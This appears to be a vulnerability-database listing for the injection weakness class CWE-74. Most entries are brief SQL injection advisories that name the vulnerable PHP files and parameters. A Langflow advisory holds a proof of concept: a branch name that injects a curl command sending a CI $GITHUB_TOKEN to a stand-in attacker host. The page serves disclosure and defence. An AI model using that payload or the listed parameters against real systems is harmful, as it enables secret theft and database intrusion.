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CWE-74

4,976 CVEs • Abstraction: Class • Likelihood of Exploit: High

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.

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CVEs (4,976)

CVE
VENDORS
PRODUCTS
UPDATED
PUBLISHED
CVSS
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Jun 17, 2026
Mar 26, 2026
5.5 MEDIUM· v4
7.3 HIGH· v3
7.5 HIGH· v2
A security vulnerability has been detected in itsourcecode Online Enrollment System 1.0. This vulnerability affects unknown code of the file /sms/grades/index.php?view=edit&id=1 of the component Parameter Handler. The ma...Show more
A security vulnerability has been detected in itsourcecode Online Enrollment System 1.0. This vulnerability affects unknown code of the file /sms/grades/index.php?view=edit&id=1 of the component Parameter Handler. The manipulation of the argument deptid leads to sql injection. The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used.Show less
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Jun 17, 2026
Mar 26, 2026
5.5 MEDIUM· v4
7.3 HIGH· v3
7.5 HIGH· v2
A weakness has been identified in code-projects Online Food Ordering System 1.0. This affects an unknown part of the file form/cart.php of the component Shopping Cart Module. Executing a manipulation of the argument del...Show more
A weakness has been identified in code-projects Online Food Ordering System 1.0. This affects an unknown part of the file form/cart.php of the component Shopping Cart Module. Executing a manipulation of the argument del can lead to sql injection. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks.Show less
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Jun 17, 2026
Mar 26, 2026
5.5 MEDIUM· v4
7.3 HIGH· v3
7.5 HIGH· v2
A vulnerability has been found in SourceCodester Food Ordering System 1.0. This affects an unknown function of the file /purchase.php of the component Parameter Handler. The manipulation of the argument custom leads to s...Show more
A vulnerability has been found in SourceCodester Food Ordering System 1.0. This affects an unknown function of the file /purchase.php of the component Parameter Handler. The manipulation of the argument custom leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.Show less
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Jun 17, 2026
Mar 26, 2026
5.5 MEDIUM· v4
7.3 HIGH· v3
7.5 HIGH· v2
A flaw has been found in SourceCodester Malawi Online Market 1.0. The impacted element is an unknown function of the file /display.php. Executing a manipulation of the argument ID can lead to sql injection. It is possibl...Show more
A flaw has been found in SourceCodester Malawi Online Market 1.0. The impacted element is an unknown function of the file /display.php. Executing a manipulation of the argument ID can lead to sql injection. It is possible to launch the attack remotely. The exploit has been published and may be used.Show less
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Jun 17, 2026
Mar 26, 2026
2.1 LOW· v4
6.3 MEDIUM· v3
6.5 MEDIUM· v2
A vulnerability was detected in code-projects Accounting System 1.0. The affected element is an unknown function of the file /my_account/delete.php. Performing a manipulation of the argument cos_id results in sql injecti...Show more
A vulnerability was detected in code-projects Accounting System 1.0. The affected element is an unknown function of the file /my_account/delete.php. Performing a manipulation of the argument cos_id results in sql injection. It is possible to initiate the attack remotely. The exploit is now public and may be used.Show less
1Ahsanriaz26gmailcom
1Sales And Inventory System
Jun 17, 2026
Mar 26, 2026
2.1 LOW· v4
8.8 HIGH· v3
6.5 MEDIUM· v2
A vulnerability was determined in SourceCodester Sales and Inventory System 1.0. This vulnerability affects unknown code of the file /update_stock.php of the component HTTP GET Parameter Handler. This manipulation of the...Show more
A vulnerability was determined in SourceCodester Sales and Inventory System 1.0. This vulnerability affects unknown code of the file /update_stock.php of the component HTTP GET Parameter Handler. This manipulation of the argument sid causes sql injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized.Show less
1Ahsanriaz26gmailcom
1Sales And Inventory System
Jun 17, 2026
Mar 25, 2026
2.1 LOW· v4
6.5 MEDIUM· v3
6.5 MEDIUM· v2
A vulnerability was found in SourceCodester Sales and Inventory System 1.0. This affects an unknown part of the file /update_sales.php of the component HTTP GET Parameter Handler. The manipulation of the argument sid res...Show more
A vulnerability was found in SourceCodester Sales and Inventory System 1.0. This affects an unknown part of the file /update_sales.php of the component HTTP GET Parameter Handler. The manipulation of the argument sid results in sql injection. The attack may be launched remotely. The exploit has been made public and could be used.Show less
1Code Projects
1Simple Laundry System
Jun 17, 2026
Mar 25, 2026
5.5 MEDIUM· v4
9.8 CRITICAL· v3
7.5 HIGH· v2
A vulnerability was found in code-projects Simple Laundry System 1.0. This affects an unknown function of the file /checkcheckout.php of the component Parameter Handler. The manipulation of the argument serviceId results...Show more
A vulnerability was found in code-projects Simple Laundry System 1.0. This affects an unknown function of the file /checkcheckout.php of the component Parameter Handler. The manipulation of the argument serviceId results in sql injection. It is possible to launch the attack remotely. The exploit has been made public and could be used.Show less
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Jun 17, 2026
Mar 25, 2026
2.1 LOW· v4
6.3 MEDIUM· v3
6.5 MEDIUM· v2
A vulnerability has been found in itsourcecode College Management System 1.0. The impacted element is an unknown function of the file /admin/add-single-student-results.php of the component Parameter Handler. The manipula...Show more
A vulnerability has been found in itsourcecode College Management System 1.0. The impacted element is an unknown function of the file /admin/add-single-student-results.php of the component Parameter Handler. The manipulation of the argument course_code leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.Show less
1Ahsanriaz26gmailcom
1Sales And Inventory System
Jun 17, 2026
Mar 25, 2026
2.1 LOW· v4
8.8 HIGH· v3
6.5 MEDIUM· v2
A flaw has been found in SourceCodester Sales and Inventory System 1.0. The affected element is an unknown function of the file update_purchase.php of the component HTTP GET Parameter Handler. Executing a manipulation of...Show more
A flaw has been found in SourceCodester Sales and Inventory System 1.0. The affected element is an unknown function of the file update_purchase.php of the component HTTP GET Parameter Handler. Executing a manipulation of the argument sid can lead to sql injection. The attack may be performed from remote. The exploit has been published and may be used.Show less
1Ahsanriaz26gmailcom
1Sales And Inventory System
Jun 17, 2026
Mar 25, 2026
2.1 LOW· v4
8.8 HIGH· v3
6.5 MEDIUM· v2
A vulnerability was detected in SourceCodester Sales and Inventory System 1.0. Impacted is an unknown function of the file update_out_standing.php of the component HTTP GET Parameter Handler. Performing a manipulation of...Show more
A vulnerability was detected in SourceCodester Sales and Inventory System 1.0. Impacted is an unknown function of the file update_out_standing.php of the component HTTP GET Parameter Handler. Performing a manipulation of the argument sid results in sql injection. The attack is possible to be carried out remotely. The exploit is now public and may be used.Show less
1Ahsanriaz26gmailcom
1Sales And Inventory System
Jun 17, 2026
Mar 24, 2026
2.1 LOW· v4
8.8 HIGH· v3
6.5 MEDIUM· v2
A security vulnerability has been detected in SourceCodester Sales and Inventory System 1.0. This issue affects some unknown processing of the file update_customer_details.php of the component HTTP GET Parameter Handler....Show more
A security vulnerability has been detected in SourceCodester Sales and Inventory System 1.0. This issue affects some unknown processing of the file update_customer_details.php of the component HTTP GET Parameter Handler. Such manipulation of the argument sid leads to sql injection. The attack can be executed remotely. The exploit has been disclosed publicly and may be used.Show less
1Ahsanriaz26gmailcom
1Sales And Inventory System
Jun 17, 2026
Mar 24, 2026
2.1 LOW· v4
6.5 MEDIUM· v3
6.5 MEDIUM· v2
A weakness has been identified in SourceCodester Sales and Inventory System 1.0. This vulnerability affects unknown code of the file update_category.php of the component HTTP GET Parameter Handler. This manipulation of t...Show more
A weakness has been identified in SourceCodester Sales and Inventory System 1.0. This vulnerability affects unknown code of the file update_category.php of the component HTTP GET Parameter Handler. This manipulation of the argument sid causes sql injection. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks.Show less
1Ahsanriaz26gmailcom
1Sales And Inventory System
Jun 17, 2026
Mar 24, 2026
2.1 LOW· v4
6.5 MEDIUM· v3
6.5 MEDIUM· v2
A security flaw has been discovered in SourceCodester Sales and Inventory System 1.0. This affects an unknown part of the file view_supplier.php of the component POST Parameter Handler. The manipulation of the argument s...Show more
A security flaw has been discovered in SourceCodester Sales and Inventory System 1.0. This affects an unknown part of the file view_supplier.php of the component POST Parameter Handler. The manipulation of the argument searchtxt results in sql injection. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks.Show less
1Froxlor
1Froxlor
Jun 17, 2026
Mar 24, 2026
8.6 HIGH· v4
8.8 HIGH· v3
N/A· v2
Froxlor is open source server administration software. Prior to version 2.3.5, the DomainZones.add API endpoint (accessible to customers with DNS enabled) does not validate the content field for several DNS record types...Show more
Froxlor is open source server administration software. Prior to version 2.3.5, the DomainZones.add API endpoint (accessible to customers with DNS enabled) does not validate the content field for several DNS record types (LOC, RP, SSHFP, TLSA). An attacker can inject newlines and BIND zone file directives (e.g. $INCLUDE) into the zone file that gets written to disk when the DNS rebuild cron job runs. This issue has been patched in version 2.3.5.Show less
1Langflow
1Langflow
Jun 17, 2026
Mar 24, 2026
N/A· v4
9.1 CRITICAL· v3
N/A· v2
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to versi...Show more
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`Show less
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Jun 17, 2026
Mar 24, 2026
5.5 MEDIUM· v4
7.3 HIGH· v3
7.5 HIGH· v2
A weakness has been identified in itsourcecode Online Enrollment System 1.0. This vulnerability affects unknown code of the file /sms/user/index.php?view=add of the component Parameter Handler. Executing a manipulation o...Show more
A weakness has been identified in itsourcecode Online Enrollment System 1.0. This vulnerability affects unknown code of the file /sms/user/index.php?view=add of the component Parameter Handler. Executing a manipulation of the argument Name can lead to sql injection. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks.Show less
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Jun 17, 2026
Mar 24, 2026
5.5 MEDIUM· v4
7.3 HIGH· v3
7.5 HIGH· v2
A flaw has been found in SourceCodester Online Admission System 1.0. This affects an unknown function of the file /programmes.php. Executing a manipulation of the argument program can lead to sql injection. The attack ca...Show more
A flaw has been found in SourceCodester Online Admission System 1.0. This affects an unknown function of the file /programmes.php. Executing a manipulation of the argument program can lead to sql injection. The attack can be launched remotely. The exploit has been published and may be used.Show less
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Jun 17, 2026
Mar 24, 2026
5.5 MEDIUM· v4
7.3 HIGH· v3
7.5 HIGH· v2
A vulnerability was detected in SourceCodester Online Library Management System 1.0. The impacted element is an unknown function of the file /home.php of the component Parameter Handler. Performing a manipulation of the...Show more
A vulnerability was detected in SourceCodester Online Library Management System 1.0. The impacted element is an unknown function of the file /home.php of the component Parameter Handler. Performing a manipulation of the argument searchField results in sql injection. The attack can be initiated remotely. The exploit is now public and may be used.Show less
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Jun 17, 2026
Mar 24, 2026
5.5 MEDIUM· v4
7.3 HIGH· v3
7.5 HIGH· v2
A vulnerability was identified in SourceCodester Online Catering Reservation 1.0. Impacted is an unknown function of the file /search.php. Such manipulation of the argument rcode leads to sql injection. The attack may be...Show more
A vulnerability was identified in SourceCodester Online Catering Reservation 1.0. Impacted is an unknown function of the file /search.php. Such manipulation of the argument rcode leads to sql injection. The attack may be performed from remote. The exploit is publicly available and might be used.Show less